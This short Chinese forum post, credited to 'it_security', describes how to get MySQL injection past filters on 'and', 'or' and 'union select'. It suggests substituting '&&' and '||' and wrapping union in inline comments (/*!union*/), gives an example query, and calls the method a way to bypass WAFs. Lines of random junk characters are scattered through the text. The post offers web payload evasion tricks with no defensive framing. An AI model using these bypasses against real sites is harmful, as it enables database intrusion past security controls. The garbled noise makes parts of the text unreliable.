mysql注入对and or的过滤及uinon select等过滤的一个方法突破

admin

1.and 用&& 代替

) x6 @* V: W! V: |2 a: z+ U; l5 [2. or 用||代替

3.union select from 变成 /*!union*/这种。

4 L2 D7 z7 [- v% I' u2 q& W一个例子：
; l. y- l) U  f8 S$ W
1 e! j+ T% e! m7 [, h/ select 1 /*!union*/ select 2 from adad where 1&&1

9 f7 A3 y7 s) R; ]5 ^, x6 ]& x! N摘自 it_security
: p" S1 i# o2 ^5 c5 z8 U6 _
6 R7 I# J& p3 Y3 f7 D: r0 W; v7 r3 T绕过waf的一个思路
2 T: i% l2 r0 }; S% d# A& {
! A. f+ k8 `! j, u" }- ?  L